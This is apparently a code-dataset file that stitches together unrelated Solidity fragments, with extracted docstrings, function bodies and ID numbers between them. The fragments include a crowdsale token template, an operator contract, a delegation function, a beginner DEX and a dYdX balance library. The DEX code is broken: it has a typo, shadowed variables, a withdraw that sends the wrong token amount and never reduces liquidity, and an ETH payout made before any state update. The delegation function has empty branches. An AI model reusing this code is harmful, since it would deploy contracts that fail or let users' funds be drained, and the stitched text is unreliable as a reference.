ether to the fund collection wallet // override to create custom fund forwarding mechanisms function forwardFunds() internal { wallet.transfer(msg.value); } // @return true if the transaction can buy tokens function validPurchase() internal view returns (bool) { bool withinPeriod = now >= startTime && now <= endTime; bool nonZeroPurchase = msg.value != 0; return withinPeriod && nonZeroPurchase; } // @return true if crowdsale event has ended function hasEnded() public view returns (bool) { return now > endTime; } } /** * @title FinalizableCrowdsale * @dev Extension of Crowdsale where an owner can do extra work * after finishing. */ contract FinalizableCrowdsale is Crowdsale, Ownable { using SafeMath for uint256; bool public isFinalized = false; event Finalized(); /** * @dev Must be called after crowdsale ends, to do some extra finalization * work. Calls the contract's finalization function. */ function finalize() onlyOwner public { require(!isFinalized); require(hasEnded()); finalization(); Finalized(); isFinalized = true; } /** * @dev Can be overridden to add finalization logic. The overriding function * should call super.finalization() to ensure the chain of finalization is * executed entirely. */ function finalization() internal { } } /** * @title RefundVault * @dev This contract is used for storing funds while a crowdsale * is in progress. Supports refunding the money if crowdsale fails, * and forwarding it if crowdsale is successful. */ contract RefundVault is Ownable { using SafeMath for uint256; enum State { Active, Refunding, Closed } mapping (address => uint256) public deposited; address public wallet; State public state; event Closed(); event RefundsEnabled(); event Refunded(address indexed beneficiary, uint256 weiAmount); function RefundVault(address _wallet) public { require(_wallet != address(0)); wallet = _wallet; state = State.Active; } function deposit(address investor) onlyOwner public payable { require(state == State.Active); deposited[investor] = deposited[investor].add(msg.value); } function close() onlyOwner public { require(state == State.Active); state = State.Closed; Closed(); wallet.transfer(this.balance); } function enableRefunds() onlyOwner public { require(state == State.Active); state = State.Refunding; RefundsEnabled(); } function refund(address investor) public { require(state == State.Refunding); uint256 depositedValue = deposited[investor]; deposited[investor] = 0; investor.transfer(depositedValue); Refunded(investor, depositedValue); } } contract FreezableToken is StandardToken { // freezing chains mapping (bytes32 => uint64) internal chains; // freezing amounts for each chain mapping (bytes32 => uint) internal freezings; // total freezing balance per address mapping (address => uint) internal freezingBalance; event Freezed(address indexed to, uint64 release, uint amount); event Released(address indexed owner, uint amount); /** * @dev Gets the balance of the specified address include freezing tokens. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner) + freezingBalance[_owner]; } /** * @dev Gets the balance of the specified address without freezing tokens. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function actualBalanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner); } function freezingBalanceOf(address _owner) public view returns (uint256 balance) { return freezingBalance[_owner]; } /** * @dev gets freezing count * @param _addr Address of freeze tokens owner. */ function freezingCount(address _addr) public view returns (uint count) { uint64 release = chains[toKey(_addr, 0)]; while (release != 0) { count ++; release = chains[toKey(_addr, release)]; } } /** * @dev gets freezing end date and freezing balance for the freezing portion specified by index. * @param _addr Address of freeze tokens owner. * @param _index Freezing portion index. It ordered by release date descending. */ function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) { for (uint i = 0; i < _index + 1; i ++) { _release = chains[toKey(_addr, _release)]; if (_release == 0) { return; } } _balance = freezings[toKey(_addr, _release)]; } /** * @dev freeze your tokens to the specified address. * Be careful, gas usage is not deterministic, * and depends on how many freezes _to address already has. * @param _to Address to which token will be freeze. * @param _amount Amount of token to freeze. * @param _until Release date, must be in future. */ function freezeTo(address _to, uint _amount, uint64 _until) public { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); Transfer(msg.sender, _to, _amount); Freezed(_to, _until, _amount); } /** * @dev release first available freezing tokens. */ function releaseOnce() public { bytes32 headKey = toKey(msg.sender, 0); uint64 head = chains[headKey]; require(head != 0); require(uint64(block.timestamp) > head); bytes32 currentKey = toKey(msg.sender, head); uint64 next = chains[currentKey]; uint amount = freezings[currentKey]; delete freezings[currentKey]; balances[msg.sender] = balances[msg.sender].add(amount); freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount); if (next == 0) { delete chains[headKey]; } else { chains[headKey] = next; delete chains[currentKey]; } Released(msg.sender, amount); } /** * @dev release all available for release freezing tokens. Gas usage is not deterministic! * @return how many tokens was released */ function releaseAll() public returns (uint tokens) { uint release; uint balance; (release, balance) = getFreezing(msg.sender, 0); while (release != 0 && block.timestamp > release) { releaseOnce(); tokens += balance; (release, balance) = getFreezing(msg.sender, 0); } } function toKey(address _addr, uint _release) internal pure returns (bytes32 result) { // WISH masc to increase entropy result = 0x5749534800000000000000000000000000000000000000000000000000000000; assembly { result := or(result, mul(_addr, 0x10000000000000000)) result := or(result, _release) } } function freeze(address _to, uint64 _until) internal { require(_until > block.timestamp); bytes32 key = toKey(_to, _until); bytes32 parentKey = toKey(_to, uint64(0)); uint64 next = chains[parentKey]; if (next == 0) { chains[parentKey] = _until; return; } bytes32 nextKey = toKey(_to, next); uint parent; while (next != 0 && _until > next) { parent = next; parentKey = nextKey; next = chains[nextKey]; nextKey = toKey(_to, next); } if (_until == next) { return; } if (next != 0) { chains[key] = next; } chains[parentKey] = _until; } } /** * @title Contract that will work with ERC223 tokens. */ contract ERC223Receiver { /** * @dev Standard ERC223 function that will handle incoming token transfers. * * @param _from Token sender address. * @param _value Amount of tokens. * @param _data Transaction metadata. */ function tokenFallback(address _from, uint _value, bytes _data) public; } contract ERC223Basic is ERC20Basic { function transfer(address to, uint value, bytes data) public returns (bool); event Transfer(address indexed from, address indexed to, uint value, bytes data); } contract SuccessfulERC223Receiver is ERC223Receiver { event Invoked(address from, uint value, bytes data); function tokenFallback(address _from, uint _value, bytes _data) public { Invoked(_from, _value, _data); } } contract FailingERC223Receiver is ERC223Receiver { function tokenFallback(address, uint, bytes) public { revert(); } } contract ERC223ReceiverWithoutTokenFallback { } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value); } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } contract FreezableMintableToken is FreezableToken, MintableToken { /** * @dev Mint the specified amount of token to the specified address and freeze it until the specified date. * Be careful, gas usage is not deterministic, * and depends on how many freezes _to address already has. * @param _to Address to which token will be freeze. * @param _amount Amount of token to mint and freeze. * @param _until Release date, must be in future. * @return A boolean that indicates if the operation was successful. */ function mintAndFreeze(address _to, uint _amount, uint64 _until) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); Mint(_to, _amount); Freezed(_to, _until, _amount); Transfer(msg.sender, _to, _amount); return true; } } contract Consts { uint constant TOKEN_DECIMALS = 18; uint8 constant TOKEN_DECIMALS_UINT8 = 18; uint constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS; string constant TOKEN_NAME = "Hulmu"; string constant TOKEN_SYMBOL = "HLMU"; bool constant PAUSED = false; address constant TARGET_USER = 0xAafB403212A36a7Bb0da271f36BBDB0e30e04EbE; uint constant START_TIME = 1526313641; bool constant CONTINUE_MINTING = false; } /** * @title Reference implementation of the ERC223 standard token. */ contract ERC223Token is ERC223Basic, BasicToken, FailingERC223Receiver { using SafeMath for uint; /** * @dev Transfer the specified amount of tokens to the specified address. * Invokes the `tokenFallback` function if the recipient is a contract. * The token transfer fails if the recipient is a contract * but does not implement the `tokenFallback` function * or the fallback function to receive funds. * * @param _to Receiver address. * @param _value Amount of tokens that will be transferred. * @param _data Transaction metadata. */ function transfer(address _to, uint _value, bytes _data) public returns (bool) { // Standard function transfer similar to ERC20 transfer with no _data . // Added due to backwards compatibility reasons . uint codeLength; assembly { // Retrieve the size of the code on target address, this needs assembly. codeLength := extcodesize(_to) } balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); if(codeLength > 0) { ERC223Receiver receiver = ERC223Receiver(_to); receiver.tokenFallback(msg.sender, _value, _data); } Transfer(msg.sender, _to, _value, _data); return true; } /** * @dev Transfer the specified amount of tokens to the specified address. * This function works the same with the previous one * but doesn't contain `_data` param. * Added due to backwards compatibility reasons. * * @param _to Receiver address. * @param _value Amount of tokens that will be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { bytes memory empty; return transfer(_to, _value, empty); } } contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable , ERC223Token { function name() pure public returns (string _name) { return TOKEN_NAME; } function symbol() pure public returns (string _symbol) { return TOKEN_SYMBOL; } function decimals() pure public returns (uint8 _decimals) { return TOKEN_DECIMALS_UINT8; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transferFrom(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transfer(_to, _value); } } /** * @title CappedCrowdsale * @dev Extension of Crowdsale with a max amount of funds raised */ contract CappedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 public cap; function CappedCrowdsale(uint256 _cap) public { require(_cap > 0); cap = _cap; } // overriding Crowdsale#validPurchase to add extra cap logic // @return true if investors can buy at the moment function validPurchase() internal view returns (bool) { bool withinCap = weiRaised.add(msg.value) <= cap; return super.validPurchase() && withinCap; } // overriding Crowdsale#hasEnded to add cap logic // @return true if crowdsale event has ended function hasEnded() public view returns (bool) { bool capReached = weiRaised >= cap; return super.hasEnded() || capReached; } } /** * @title RefundableCrowdsale * @dev Extension of Crowdsale contract that adds a funding goal, and * the possibility of users getting a refund if goal is not met. * Uses a RefundVault as the crowdsale's vault. */ contract RefundableCrowdsale is FinalizableCrowdsale { using SafeMath for uint256; // minimum amount of funds to be raised in weis uint256 public goal; // refund vault used to hold funds while crowdsale is running RefundVault public vault; function RefundableCrowdsale(uint256 _goal) public { require(_goal > 0); vault = new RefundVault(wallet); goal = _goal; } // We're overriding the fund forwarding from Crowdsale. // In addition to sending the funds, we want to call // the RefundVault deposit function function forwardFunds() internal { vault.deposit.value(msg.value)(msg.sender); } // if crowdsale is unsuccessful, investors can claim refunds here function claimRefund() public { require(isFinalized); require(!goalReached()); vault.refund(msg.sender); } // vault finalization task, called when owner calls finalize() function finalization() internal { if (goalReached()) { vault.close(); } else { vault.enableRefunds(); } super.finalization(); } function goalReached() public view returns (bool) { return weiRaised >= goal; } } contract MainCrowdsale is Consts, FinalizableCrowdsale { function hasStarted() public constant returns (bool) { return now >= startTime; } function finalization() internal { super.finalization(); if (PAUSED) { MainToken(token).unpause(); } if (!CONTINUE_MINTING) { token.finishMinting(); } token.transferOwnership(TARGET_USER); } function buyTokens(address beneficiary) public payable { require(beneficiary != address(0)); require(validPurchase()); uint256 weiAmount = msg.value; // calculate token amount to be created uint256 tokens = weiAmount.mul(rate).div(1 ether); // update state weiRaised = weiRaised.add(weiAmount); token.mint(beneficiary, tokens); TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); forwardFunds(); } } contract Checkable { address private serviceAccount; /** * Flag means that contract accident already occurs. */ bool private triggered = false; /** * Occurs when accident happened. */ event Triggered(uint balance); /** * Occurs when check finished. */ event Checked(bool isAccident); function Checkable() public { serviceAccount = msg.sender; } /** * @dev Replace service account with new one. * @param _account Valid service account address. */ function changeServiceAccount(address _account) onlyService public { assert(_account != 0); serviceAccount = _account; } /** * @dev Is caller (sender) service account. */ function isServiceAccount() view public returns (bool) { return msg.sender == serviceAccount; } /** * Public check method. */ function check() onlyService notTriggered payable public { if (internalCheck()) { Triggered(this.balance); triggered = true; internalAction(); } } /** * @dev Do inner check. * @return bool true of accident triggered, false otherwise. */ function internalCheck() internal returns (bool); /** * @dev Do inner action if check was success. */ function internalAction() internal; modifier onlyService { require(msg.sender == serviceAccount); _; } modifier notTriggered() { require(!triggered); _; } } contract BonusableCrowdsale is Consts, Crowdsale { function buyTokens(address beneficiary) public payable { require(beneficiary != address(0)); require(validPurchase()); uint256 weiAmount = msg.value; // calculate token amount to be created uint256 bonusRate = getBonusRate(weiAmount); uint256 tokens = weiAmount.mul(bonusRate).div(1 ether); // update state weiRaised = weiRaised.add(weiAmount); token.mint(beneficiary, tokens); TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); forwardFunds(); } function getBonusRate(uint256 weiAmount) internal view returns (uint256) { uint256 bonusRate = rate; // apply bonus for time & weiRaised uint[5] memory weiRaisedStartsBoundaries = [uint(0),uint(21000000000000000000000),uint(42000000000000000000000),uint(63000000000000000000000),uint(84000000000000000000000)]; uint[5] memory weiRaisedEndsBoundaries = [uint(21000000000000000000000),uint(42000000000000000000000),uint(63000000000000000000000),uint(84000000000000000000000),uint(105000000000000000000000)]; uint64[5] memory timeStartsBoundaries = [uint64(1526313641),uint64(1526313641),uint64(1526313641),uint64(1526313641),uint64(1526313641)]; uint64[5] memory timeEndsBoundaries = [uint64(1559318395),uint64(1559318395),uint64(1559318395),uint64(1559318395),uint64(1559318395)]; uint[5] memory weiRaisedAndTimeRates = [uint(1660),uint(1000),uint(600),uint(330),uint(150)]; for (uint i = 0; i < 5; i++) { bool weiRaisedInBound = (weiRaisedStartsBoundaries[i] <= weiRaised) && (weiRaised < weiRaisedEndsBoundaries[i]); bool timeInBound = (timeStartsBoundaries[i] <= now) && (now < timeEndsBoundaries[i]); if (weiRaisedInBound && timeInBound) { bonusRate += bonusRate * weiRaisedAndTimeRates[i] / 1000; } } return bonusRate; } } contract TemplateCrowdsale is Consts, MainCrowdsale , BonusableCrowdsale , CappedCrowdsale , Checkable { event Initialized(); bool public initialized = false; function TemplateCrowdsale(MintableToken _token) public Crowdsale(START_TIME > now ? START_TIME : now, 1559318400, 100 * TOKEN_DECIMAL_MULTIPLIER, 0x695f2040F98b05F31943469325D0B75Be61483A7) CappedCrowdsale(126000000000000000000000) { token = _token; } function init() public onlyOwner { require(!initialized); initialized = true; if (PAUSED) { MainToken(token).pause(); } address[3] memory addresses = [address(0x1ddac4f21ae17698b3bae7c8b2a65cfaaf530a7b),address(0x9e235ab6749765ea38bd8e3c0cfa2be456e0dcfe),address(0xf3af0b511d4845a7964972a92f25af8afffaf8af)]; uint[3] memory amounts = [uint(4200000000000000000000000),uint(2100000000000000000000000),uint(2100000000000000000000000)]; uint64[3] memory freezes = [uint64(0),uint64(0),uint64(0)]; for (uint i = 0; i < addresses.length; i++) { if (freezes[i] == 0) { MainToken(token).mint(addresses[i], amounts[i]); } else { MainToken(token).mintAndFreeze(addresses[i], amounts[i], freezes[i]); } } transferOwnership(TARGET_USER); Initialized(); } /** * @dev override token creation to set token address in constructor. */ function createTokenContract() internal returns (MintableToken) { return MintableToken(0); } /** * @dev Do inner check. * @return bool true of accident triggered, false otherwise. */ function internalCheck() internal returns (bool) { bool result = !isFinalized && hasEnded(); Checked(result); return result; } /** * @dev Do inner action if check was success. */ function internalAction() internal { finalization(); Finalized(); isFinalized = true; } }
Do inner action if check was success./
function internalAction() internal { finalization(); Finalized(); isFinalized = true; }
6,189,293
./full_match/1/0x9259746Be26f8Bd66D12D13671Dddc3561AD970d/sources/contracts/Solid.sol
return formattedPrice scales the decimals appropriately return decimalsDiff the difference in decimals
function _fixDecimals(address _token, uint256 price) internal view returns (uint256, uint256) { uint256 decimalsDiff = TOKEN(_token).decimals() - mainStableDecimals; return (price * 10**decimalsDiff, decimalsDiff); }
2,972,142
pragma solidity ^0.5.0; contract Operated { address private _operator; bool private _status; event OperatorUpdated(address operator, bool status); // state functions function _setOperator(address operator) internal { require(_operator != operator, "cannot set same operator"); _operator = operator; emit OperatorUpdated(operator, hasActiveOperator()); } function _transferOperator(address operator) internal { // transferring operator-ship implies there was an operator set before this require(_operator != address(0), "operator not set"); _setOperator(operator); } function _renounceOperator() internal { require(hasActiveOperator(), "only when operator active"); _operator = address(0); _status = false; emit OperatorUpdated(address(0), false); } function _activateOperator() internal { require(!hasActiveOperator(), "only when operator not active"); _status = true; emit OperatorUpdated(_operator, true); } function _deactivateOperator() internal { require(hasActiveOperator(), "only when operator active"); _status = false; emit OperatorUpdated(_operator, false); } // view functions function getOperator() public view returns (address operator) { operator = _operator; } function isOperator(address caller) public view returns (bool ok) { return (caller == getOperator()); } function hasActiveOperator() public view returns (bool ok) { return _status; } function isActiveOperator(address caller) public view returns (bool ok) { return (isOperator(caller) && hasActiveOperator()); } }
transferring operator-ship implies there was an operator set before this
function _transferOperator(address operator) internal { require(_operator != address(0), "operator not set"); _setOperator(operator); }
967,086
./full_match/1/0xdD8bd1a9927aB550Cf2fC0a9da14702F9c09ac88/sources/contracts/ChromiaDelegation.sol
Set the delegation of the caller for the next epoch Remove previous delegation from providers pool so that they cannot claim rewards from it if we have a new provider Add to new providers "totalDelegations" pool so they can claim rewards 40k gas
function delegate(address to) external nonReentrant { DelegationState storage userState = delegatorStates[msg.sender]; ProviderState storage ps = providerStates[to]; (, uint128 acc) = twn.getAccumulated(msg.sender); (uint64 delegateAmount, , uint64 lockedUntil, uint64 since) = twn.getStakeState(msg.sender); require(delegateAmount > 0, MUST_HAVE_STAKE_ERROR); require(lockedUntil == 0, CANNOT_CHANGE_WITHDRAWAL_ERROR); require(ps.whitelisted, MUST_WHITELISTED_ERROR); uint16 nextEpoch = getCurrentEpoch() + 1; (DelegationChange memory currentDelegation, uint16 currDelEpoch) = getActiveDelegation(msg.sender, nextEpoch); if (currentDelegation.delegatedTo != address(0) && (currentDelegation.delegatedTo != to || currDelEpoch < ps.latestWhitelistChange)) { } if (userState.latestChangeEpoch == 0) { } if (currentDelegation.delegatedTo != to || currDelEpoch < ps.latestWhitelistChange) { ps.providerStateTimeline[nextEpoch].delegationsIncrease += delegateAmount; ps.providerStateTimeline[nextEpoch].delegationsIncrease += delegateAmount - currentDelegation.balance; } ps.latestDelegationsChange = journalProviderDelegationChange(ps); emit Delegated(msg.sender, to, delegateAmount); }
2,989,899
pragma solidity >=0.8.0 <0.9.0; // SPDX-License-Identifier: MIT import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; /** * @title DEX * @author Steve P. * @notice this is a single token pair reserves DEX, ref: "Scaffold-ETH Challenge 2" as per https://speedrunethereum.com/challenge/token-vendor */ contract DEX { uint256 public totalLiquidity; //BAL token total liquidity in this contract mapping(address => uint256) public liquidity; using SafeMath for uint256; //outlines use of SafeMath for uint256 variables IERC20 token; //instantiates the imported contract /* ========== EVENTS ========== */ /** * @notice Emitted when ethToToken() swap transacted */ event EthToTokenSwap( address swapper, string txDetails, uint256 ethInput, uint256 tokenOutput ); /** * @notice Emitted when tokenToEth() swap transacted */ event TokenToEthSwap( address swapper, string txDetails, uint256 tokensInput, uint256 ethOutput ); /** * @notice Emitted when liquidity provided to DEX */ event LiquidityProvided( address liquidityProvider, uint256 tokensInput, uint256 ethInput, uint256 liquidityMinted ); /** * @notice Emitted when liquidity removed from DEX */ event LiquidityRemoved( address liquidityRemover, uint256 tokensOutput, uint256 ethOutput, uint256 liquidityWithdrawn ); /* ========== CONSTRUCTOR ========== */ constructor(address token_addr) public { token = IERC20(token_addr); //specifies the token address that will hook into the interface and be used through the variable 'token' } /* ========== MUTATIVE FUNCTIONS ========== */ /** * @notice initializes amount of tokens that will be transferred to the DEX itself from the erc20 contract mintee (and only them based on how Balloons.sol is written). Loads contract up with both ETH and Balloons. * @param tokens amount to be transferred to DEX * @return totalLiquidity is the balance of this DEX contract * NOTE: since ratio is 1:1, this is fine to initialize the totalLiquidity (wrt to balloons) as equal to eth balance of contract. */ function init(uint256 tokens) public payable returns (uint256 totalLiquidity) { require(totalLiquidity == 0, "init(): already has initial liquidity"); totalLiquidity = address(this).balance; liquidity[msg.sender] = totalLiquidity; require( token.transferFrom(msg.sender, address(this), tokens), "init(): failed to transfer tokens" ); return totalLiquidity; } /** * @notice returns yOutput, or yDelta for xInput (or xDelta) */ function price( uint256 xInput, uint256 xReserves, uint256 yReserves ) public view returns (uint256 yOutput) { uint256 xInputWithFee = xInput.mul(997); uint256 numerator = xInputWithFee.mul(yReserves); uint256 denominator = (xReserves.mul(1000)).add(xInputWithFee); return (numerator / denominator); } /** * @notice sends Ether to DEX in exchange for $BAL */ function ethToToken() public payable returns (uint256 tokenAmount) { require(msg.value > 0, "ethToToken(): cannot swap 0 ETH"); uint256 ethReserve = address(this).balance.sub(msg.value); uint256 tokenReserve = token.balanceOf(address(this)); uint256 tokenAmount = price(msg.value, ethReserve, tokenReserve); require( token.transfer(msg.sender, tokenAmount), "ethToToken(): Failed to transfer tokens" ); emit EthToTokenSwap( msg.sender, "ethToToken(): Sold Balloons for ETHs", msg.value, tokenAmount ); return tokenAmount; } /** * @notice sends $BAL tokens to DEX in exchange for Ether */ function tokenToEth(uint256 tokenAmount) public returns (uint256 ethAmount) { require(tokenAmount > 0, "tokenToEth(): cannot purchase 0 tokens"); require( token.transferFrom(msg.sender, address(this), tokenAmount), "tokenToEth(): failed to transfer tokens" ); uint256 ethReserve = address(this).balance; uint256 tokenReserve = token.balanceOf(address(this)); uint256 ethAmount = price( tokenAmount, tokenReserve, address(this).balance ); (bool success, bytes memory data) = msg.sender.call{value: ethAmount}( "" ); require(success, "tokenToEth(): failed to send eth to user"); emit TokenToEthSwap( msg.sender, "Purchased Balloons for ETHs", ethAmount, tokenAmount ); return ethAmount; } /** * @notice allows deposits of $BAL and $ETH to liquidity pool * NOTE: Ratio needs to be maintained. */ function deposit() public payable returns (uint256 tokens) { // do we need this? require(msg.vaue > 0, "deposit(): ETH must be > 0"); // the eth before the payment uint256 ethReserve = address(this).balance.sub(msg.value); uint256 tokenReserve = token.balanceOf(address(this)); tokens = (msg.value.mul(tokenReserve) / ethReserve).add(1); uint256 liquidityMinted = msg.value.mul(totalLiquidity) / ethReserve; liquidity[msg.sender] = liquidity[msg.sender].add(liquidityMinted); totalLiquidity = totalLiquidity.add(liquidityMinted); require( token.transferFrom(msg.sender, address(this), tokens), "deposit(): failed to transfer tokens" ); emit LiquidityProvided(msg.sender, liquidityMinted, msg.value, tokens); return tokens; } /** * @notice allows withdrawal of $BAL and $ETH from liquidity pool */ function withdraw(uint256 amount) public returns (uint256 ethOutput, uint256 tokenOutput) { // WTF is amount? // WTF is liquidity, what are we comparing here? require( liquidity[msg.sender] >= amount, "withdraw(): user does not have enough liquidity to withdraw." ); // calculating amount of eth and token we can get based on reserves and liquidity. uint256 ethReserve = address(this).balance; uint256 tokenReserve = token.balanceOf(address(this)); uint256 ethOutput = amount.mul(ethReserve) / totalLiquidity; uint256 tokenOutput = amount.mul(tokenReserve) / totalLiquidity; // receiving ETHs and Tokens (bool success, bytes memory data) = payable(msg.sender).call{ value: ethOutput }(""); require(success, "tokenToEth(): failed to send eth to user"); require( token.transfer(msg.sender, amount), "widthdraw(): failed to transfer tokens." ); emit LiquidityRemoved(msg.sender, amount, ethOutput, tokenOutput); return (ethOutput, tokenOutput); } }
allows withdrawal of $BAL and $ETH from liquidity pool/ WTF is amount? WTF is liquidity, what are we comparing here? calculating amount of eth and token we can get based on reserves and liquidity. receiving ETHs and Tokens
function withdraw(uint256 amount) public returns (uint256 ethOutput, uint256 tokenOutput) { require( liquidity[msg.sender] >= amount, "withdraw(): user does not have enough liquidity to withdraw." ); uint256 ethReserve = address(this).balance; uint256 tokenReserve = token.balanceOf(address(this)); uint256 ethOutput = amount.mul(ethReserve) / totalLiquidity; uint256 tokenOutput = amount.mul(tokenReserve) / totalLiquidity; (bool success, bytes memory data) = payable(msg.sender).call{ value: ethOutput }(""); require(success, "tokenToEth(): failed to send eth to user"); require( token.transfer(msg.sender, amount), "widthdraw(): failed to transfer tokens." ); emit LiquidityRemoved(msg.sender, amount, ethOutput, tokenOutput); return (ethOutput, tokenOutput); }
13,086,851
/* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../asset-proxy/interfaces/IAssetData.sol"; import "../asset-proxy/interfaces/IDydxBridge.sol"; import "../asset-proxy/interfaces/IDydx.sol"; import "../erc20/LibERC20Token.sol"; import "../exchange-libs/LibOrder.sol"; import "../utils/LibBytes.sol"; import "../utils/LibSafeMath.sol"; import "../utils/D18.sol"; import "./LibAssetData.sol"; library LibDydxBalance { using LibBytes for bytes; using LibSafeMath for uint256; /// @dev Padding % added to the minimum collateralization ratio to /// prevent withdrawing exactly the amount that would make an account /// insolvent. 1 bps. int256 private constant MARGIN_RATIO_PADDING = 0.0001e18; /// @dev Structure that holds all pertinent info needed to perform a balance /// check. struct BalanceCheckInfo { IDydx dydx; address bridgeAddress; address makerAddress; address makerTokenAddress; address takerTokenAddress; int256 orderMakerToTakerRate; uint256[] accounts; IDydxBridge.BridgeAction[] actions; } /// @dev Gets the maker asset allowance for a Dydx bridge order. /// @param makerAddress The maker of the order. /// @param bridgeAddress The address of the Dydx bridge. /// @param dydx The Dydx contract address. /// @return allowance The maker asset allowance. function getDydxMakerAllowance(address makerAddress, address bridgeAddress, address dydx) public view returns (uint256 allowance) { // Allowance is infinite if the dydx bridge is an operator for the maker. return IDydx(dydx).getIsLocalOperator(makerAddress, bridgeAddress) ? uint256(-1) : 0; } /// @dev Gets the maker allowance for a /// @dev Get the maker asset balance of an order with a `DydxBridge` maker asset. /// @param order An order with a dydx maker asset. /// @param dydx The address of the dydx contract. /// @return balance The maker asset balance. function getDydxMakerBalance(LibOrder.Order memory order, address dydx) public view returns (uint256 balance) { BalanceCheckInfo memory info = _getBalanceCheckInfo(order, dydx); // Actions must be well-formed. if (!_areActionsWellFormed(info)) { return 0; } // If the rate we withdraw maker tokens is less than one, the asset // proxy will throw because we will always transfer less maker tokens // than asked. if (_getMakerTokenWithdrawRate(info) < D18.one()) { return 0; } // The maker balance is the smaller of: return LibSafeMath.min256( // How many times we can execute all the deposit actions. _getDepositableMakerAmount(info), // How many times we can execute all the actions before the an // account becomes undercollateralized. _getSolventMakerAmount(info) ); } /// @dev Checks that: /// 1. Actions are arranged as [...deposits, withdraw]. /// 2. There is only one deposit for each market ID. /// 3. Every action has a valid account index. /// 4. There is exactly one withdraw at the end and it is for the /// maker token. /// @param info State from `_getBalanceCheckInfo()`. /// @return areWellFormed Whether the actions are well-formed. function _areActionsWellFormed(BalanceCheckInfo memory info) internal view returns (bool areWellFormed) { if (info.actions.length == 0) { return false; } uint256 depositCount = 0; // Count the number of deposits. for (; depositCount < info.actions.length; ++depositCount) { IDydxBridge.BridgeAction memory action = info.actions[depositCount]; if (action.actionType != IDydxBridge.BridgeActionType.Deposit) { break; } // Search all prior actions for the same market ID. uint256 marketId = action.marketId; for (uint256 j = 0; j < depositCount; ++j) { if (info.actions[j].marketId == marketId) { // Market ID is not unique. return false; } } // Check that the account index is within the valid range. if (action.accountIdx >= info.accounts.length) { return false; } } // There must be exactly one withdraw action at the end. if (depositCount + 1 != info.actions.length) { return false; } IDydxBridge.BridgeAction memory withdraw = info.actions[depositCount]; if (withdraw.actionType != IDydxBridge.BridgeActionType.Withdraw) { return false; } // And it must be for the maker token. if (info.dydx.getMarketTokenAddress(withdraw.marketId) != info.makerTokenAddress) { return false; } // Check the account index. return withdraw.accountIdx < info.accounts.length; } /// @dev Returns the rate at which we withdraw maker tokens. /// @param info State from `_getBalanceCheckInfo()`. /// @return makerTokenWithdrawRate Maker token withdraw rate. function _getMakerTokenWithdrawRate(BalanceCheckInfo memory info) internal pure returns (int256 makerTokenWithdrawRate) { // The last action is always a withdraw for the maker token. IDydxBridge.BridgeAction memory withdraw = info.actions[info.actions.length - 1]; return _getActionRate(withdraw); } /// @dev Get how much maker asset we can transfer before a deposit fails. /// @param info State from `_getBalanceCheckInfo()`. function _getDepositableMakerAmount(BalanceCheckInfo memory info) internal view returns (uint256 depositableMakerAmount) { depositableMakerAmount = uint256(-1); // Take the minimum maker amount from all deposits. for (uint256 i = 0; i < info.actions.length; ++i) { IDydxBridge.BridgeAction memory action = info.actions[i]; // Only looking at deposit actions. if (action.actionType != IDydxBridge.BridgeActionType.Deposit) { continue; } // `depositRate` is the rate at which we convert a maker token into // a taker token for deposit. int256 depositRate = _getActionRate(action); // Taker tokens will be transferred to the maker for every fill, so // we reduce the effective deposit rate if we're depositing the taker // token. address depositToken = info.dydx.getMarketTokenAddress(action.marketId); if (info.takerTokenAddress != address(0) && depositToken == info.takerTokenAddress) { depositRate = D18.sub(depositRate, info.orderMakerToTakerRate); } // If the deposit rate is > 0, we are limited by the transferrable // token balance of the maker. if (depositRate > 0) { uint256 supply = _getTransferabeTokenAmount( depositToken, 